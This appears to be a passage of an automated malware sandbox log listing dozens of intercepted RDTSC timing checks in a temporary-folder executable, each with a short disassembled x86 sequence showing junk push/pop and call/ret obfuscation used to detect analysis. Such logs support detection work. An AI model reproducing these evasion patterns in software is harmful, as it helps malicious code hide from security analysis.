Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37C37F second address: 37C429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5504CC35F5h 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D1EB0h], edx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F5504CC35E8h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 mov esi, dword ptr [ebp+122D3036h] 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007F5504CC35E8h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 call 00007F5504CC35F9h 0x00000059 mov si, dx 0x0000005c pop edi 0x0000005d xchg eax, ebx 0x0000005e je 00007F5504CC35F4h 0x00000064 push eax 0x00000065 push edx 0x00000066 jne 00007F5504CC35E6h 0x0000006c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37FF1B second address: 37FF25 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5504BA7166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37CCA5 second address: 37CCA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37CCA9 second address: 37CCB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37F118 second address: 37F11E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 38010B second address: 380115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5504BA7166h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37CCB3 second address: 37CCB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37F11E second address: 37F122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37CCB7 second address: 37CCBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 381F72 second address: 381F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 381F77 second address: 381F7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 381F7E second address: 381FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jl 00007F5504BA716Eh 0x0000000e jbe 00007F5504BA7168h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 nop 0x00000017 movsx edi, bx 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d sub dword ptr [ebp+122D236Ah], ebx 0x00000023 pop edi 0x00000024 push 00000000h 0x00000026 mov ebx, 18631EF1h 0x0000002b mov edi, eax 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jg 00007F5504BA717Ch 0x00000036 jmp 00007F5504BA7176h 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 383FBB second address: 383FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3821D6 second address: 3821DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 332C0B second address: 332C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 385570 second address: 385575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3847FE second address: 38480C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5504CC35EAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 385721 second address: 385725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3865EC second address: 386647 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5504CC35E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F5504CC35E8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 sbb edi, 74EE4D47h 0x0000002c push 00000000h 0x0000002e adc bh, FFFFFFF6h 0x00000031 push 00000000h 0x00000033 sub dword ptr [ebp+122D33B7h], edx 0x00000039 push eax 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F5504CC35F7h 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 386847 second address: 386853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 386853 second address: 386857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 38DCBD second address: 38DCC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 38BE22 second address: 38BE28 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 38DEA9 second address: 38DF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F5504BA7168h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov bx, A071h 0x00000025 push dword ptr fs:[00000000h] 0x0000002c mov dword ptr [ebp+122D2365h], ecx 0x00000032 call 00007F5504BA7173h 0x00000037 push edi 0x00000038 mov dword ptr [ebp+122D30DCh], eax 0x0000003e pop ebx 0x0000003f pop edi 0x00000040 mov dword ptr fs:[00000000h], esp 0x00000047 stc 0x00000048 mov eax, dword ptr [ebp+122D048Dh] 0x0000004e push 00000000h 0x00000050 push esi 0x00000051 call 00007F5504BA7168h 0x00000056 pop esi 0x00000057 mov dword ptr [esp+04h], esi 0x0000005b add dword ptr [esp+04h], 0000001Dh 0x00000063 inc esi 0x00000064 push esi 0x00000065 ret 0x00000066 pop esi 0x00000067 ret 0x00000068 mov bh, EBh 0x0000006a mov dword ptr [ebp+122D1CA9h], edx 0x00000070 push FFFFFFFFh 0x00000072 nop 0x00000073 pushad 0x00000074 push eax 0x00000075 push edx 0x00000076 jmp 00007F5504BA7178h 0x0000007b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 38EEB0 second address: 38EECF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 38FD7C second address: 38FD8C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 38DF59 second address: 38DF6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5504CC35ECh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 38FD8C second address: 38FD97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 38DF6D second address: 38DF87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5504CC35F0h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3924BA second address: 3924BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 39891D second address: 398932 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5504CC35EAh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 398AC2 second address: 398AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 398AC6 second address: 398ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 39D16F second address: 39D175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 39D175 second address: 39D17B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 39D17B second address: 39D1AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA716Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5504BA7178h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 39D42F second address: 39D462 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007F5504CC35EDh 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F5504CC35E6h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 334639 second address: 33463D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 33463D second address: 334643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 334643 second address: 334649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 334649 second address: 33464E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A27A8 second address: 3A27C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F5504BA7166h 0x0000000c jmp 00007F5504BA7174h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A2D46 second address: 3A2D85 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 jnp 00007F5504CC35E8h 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007F5504CC3614h 0x00000016 jl 00007F5504CC35F2h 0x0000001c jmp 00007F5504CC35ECh 0x00000021 push edx 0x00000022 jmp 00007F5504CC35F4h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A3083 second address: 3A308D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5504BA7166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A308D second address: 3A30AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F5504CC35ECh 0x0000000d je 00007F5504CC35E6h 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop esi 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push esi 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A321D second address: 3A3222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A34E9 second address: 3A34F9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5504CC35E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A390C second address: 3A3914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A3914 second address: 3A391A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A391A second address: 3A391E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A391E second address: 3A3942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jl 00007F5504CC35E6h 0x00000012 jl 00007F5504CC35E6h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A3942 second address: 3A3946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3A9748 second address: 3A975B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504CC35EFh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3ADC89 second address: 3ADC98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3ADC98 second address: 3ADCA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5504CC35E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374478 second address: 37447D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37447D second address: 374487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F5504CC35E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374487 second address: 3744C7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ecx, ebx 0x0000000d lea eax, dword ptr [ebp+124791F7h] 0x00000013 clc 0x00000014 nop 0x00000015 jl 00007F5504BA716Eh 0x0000001b push ecx 0x0000001c jno 00007F5504BA7166h 0x00000022 pop ecx 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F5504BA7178h 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3744C7 second address: 3744CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3744CD second address: 35EECD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5504BA716Ch 0x00000008 jno 00007F5504BA7166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F5504BA7168h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b jmp 00007F5504BA7173h 0x00000030 call dword ptr [ebp+1244CD3Bh] 0x00000036 pushad 0x00000037 push ecx 0x00000038 jmp 00007F5504BA716Fh 0x0000003d push esi 0x0000003e pop esi 0x0000003f pop ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F5504BA7172h 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374A94 second address: 374AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F5504CC35E6h 0x00000010 pop eax 0x00000011 popad 0x00000012 xor dword ptr [esp], 6275BFD3h 0x00000019 push C9B16305h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374AC1 second address: 374AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374AC5 second address: 374AD7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5504CC35E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F5504CC35ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374BBB second address: 374BFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F5504BA7168h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jno 00007F5504BA7169h 0x0000002a nop 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F5504BA7172h 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374BFF second address: 374C1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5504CC35ECh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374C1A second address: 374C24 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5504BA7166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374CBF second address: 374CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374CC5 second address: 374CD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 374CD3 second address: 374D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop esi 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jng 00007F5504CC35E6h 0x00000016 jmp 00007F5504CC35F6h 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 375422 second address: 375434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504BA716Ah 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3755BC second address: 375607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007F5504CC35FDh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 jmp 00007F5504CC35EEh 0x0000001a js 00007F5504CC35ECh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 375607 second address: 375616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3756A8 second address: 3756AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3756AC second address: 3756FE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5504BA7166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c jmp 00007F5504BA7173h 0x00000011 nop 0x00000012 cmc 0x00000013 mov di, 8CDEh 0x00000017 lea eax, dword ptr [ebp+1247923Bh] 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F5504BA7168h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 movzx ecx, dx 0x0000003a push eax 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f pop eax 0x00000040 rdtsc
